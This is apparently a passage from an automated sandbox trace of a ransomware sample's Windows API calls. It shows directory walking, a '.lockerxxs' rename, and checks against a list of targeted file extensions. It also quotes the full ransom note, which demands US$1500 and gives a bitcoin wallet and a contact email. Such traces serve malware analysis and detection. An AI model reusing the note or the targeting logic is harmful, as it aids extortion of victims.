lpNewFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.lockerxxs" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.lockerxxs")) returned 1 [0144.324] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24aa32c7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3fa3a360, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0144.325] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0144.325] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24aa32c7, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0 [0144.325] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0144.325] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0144.325] lstrcmpA (lpString1=".", lpString2="Temporary Internet Files") returned -1 [0144.325] lstrcmpA (lpString1="..", lpString2="Temporary Internet Files") returned -1 [0144.325] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\*.*") returned="*.*" [0144.325] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files" [0144.325] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 97 [0144.325] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x52d540, cFileName=".", cAlternateFileName="")) returned 0x502718 [0144.325] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.326] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0144.326] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.326] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.326] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0144.326] lstrcmpA (lpString1=".", lpString2="Content.IE5") returned -1 [0144.326] lstrcmpA (lpString1="..", lpString2="Content.IE5") returned -1 [0144.326] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*") returned="*.*" [0144.326] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", lpString2="Content.IE5" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5" [0144.326] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5") returned 109 [0144.326] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0144.328] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.328] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.328] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.328] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.328] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0PS72R2M", cAlternateFileName="")) returned 1 [0144.328] lstrcmpA (lpString1=".", lpString2="0PS72R2M") returned -1 [0144.328] lstrcmpA (lpString1="..", lpString2="0PS72R2M") returned -1 [0144.328] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*") returned="*.*" [0144.328] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\", lpString2="0PS72R2M" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M" [0144.328] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M") returned 118 [0144.329] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0144.329] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.329] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.329] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.329] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.329] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.329] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0144.329] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0144.329] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0144.329] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0144.329] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\*.*") returned="*.*" [0144.329] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\" [0144.329] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\") returned="" [0144.329] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\HOW TO DECRYPT FILES.txt" [0144.329] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\0ps72r2m\\how to decrypt files.txt")) returned 0xffffffff [0144.330] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\0ps72r2m\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0144.331] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0144.331] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0144.332] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.332] CloseHandle (hObject=0xa8) returned 1 [0144.332] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini" [0144.332] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.ems") returned 0 [0144.332] lstrlenA (lpString="*.ems") returned 5 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.db") returned 0 [0144.333] lstrlenA (lpString="*.db") returned 4 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.dbf") returned 0 [0144.333] lstrlenA (lpString="*.dbf") returned 5 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.myox") returned 0 [0144.333] lstrlenA (lpString="*.myox") returned 6 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.myo") returned 0 [0144.333] lstrlenA (lpString="*.myo") returned 5 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qbw") returned 0 [0144.333] lstrlenA (lpString="*.qbw") returned 5 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qbb") returned 0 [0144.333] lstrlenA (lpString="*.qbb") returned 5 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qbm") returned 0 [0144.333] lstrlenA (lpString="*.qbm") returned 5 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qbo") returned 0 [0144.333] lstrlenA (lpString="*.qbo") returned 5 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qbx") returned 0 [0144.333] lstrlenA (lpString="*.qbx") returned 5 [0144.333] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qba") returned 0 [0144.333] lstrlenA (lpString="*.qba") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qby") returned 0 [0144.334] lstrlenA (lpString="*.qby") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qbj") returned 0 [0144.334] lstrlenA (lpString="*.qbj") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.ofx") returned 0 [0144.334] lstrlenA (lpString="*.ofx") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.qif") returned 0 [0144.334] lstrlenA (lpString="*.qif") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.mye") returned 0 [0144.334] lstrlenA (lpString="*.mye") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.mbox") returned 0 [0144.334] lstrlenA (lpString="*.mbox") returned 6 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.eml") returned 0 [0144.334] lstrlenA (lpString="*.eml") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.pst") returned 0 [0144.334] lstrlenA (lpString="*.pst") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.ost") returned 0 [0144.334] lstrlenA (lpString="*.ost") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.idx") returned 0 [0144.334] lstrlenA (lpString="*.idx") returned 5 [0144.334] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.dbx") returned 0 [0144.335] lstrlenA (lpString="*.dbx") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.sql") returned 0 [0144.335] lstrlenA (lpString="*.sql") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.mdb") returned 0 [0144.335] lstrlenA (lpString="*.mdb") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.fdb") returned 0 [0144.335] lstrlenA (lpString="*.fdb") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.wab") returned 0 [0144.335] lstrlenA (lpString="*.wab") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.dat") returned 0 [0144.335] lstrlenA (lpString="*.dat") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.txt") returned 0 [0144.335] lstrlenA (lpString="*.txt") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.jpeg") returned 0 [0144.335] lstrlenA (lpString="*.jpeg") returned 6 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.jpg") returned 0 [0144.335] lstrlenA (lpString="*.jpg") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.png") returned 0 [0144.335] lstrlenA (lpString="*.png") returned 5 [0144.335] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.php") returned 0 [0144.335] lstrlenA (lpString="*.php") returned 5 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.cs") returned 0 [0144.336] lstrlenA (lpString="*.cs") returned 4 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.cpp") returned 0 [0144.336] lstrlenA (lpString="*.cpp") returned 5 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.rar") returned 0 [0144.336] lstrlenA (lpString="*.rar") returned 5 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.zip") returned 0 [0144.336] lstrlenA (lpString="*.zip") returned 5 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.html") returned 0 [0144.336] lstrlenA (lpString="*.html") returned 6 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.htm") returned 0 [0144.336] lstrlenA (lpString="*.htm") returned 5 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.xlsx") returned 0 [0144.336] lstrlenA (lpString="*.xlsx") returned 6 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.xls") returned 0 [0144.336] lstrlenA (lpString="*.xls") returned 5 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.mp4") returned 0 [0144.336] lstrlenA (lpString="*.mp4") returned 5 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.ppt") returned 0 [0144.336] lstrlenA (lpString="*.ppt") returned 5 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.pptx") returned 0 [0144.336] lstrlenA (lpString="*.pptx") returned 6 [0144.336] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.doc") returned 0 [0144.336] lstrlenA (lpString="*.doc") returned 5 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.dot") returned 0 [0144.337] lstrlenA (lpString="*.dot") returned 5 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.docx") returned 0 [0144.337] lstrlenA (lpString="*.docx") returned 6 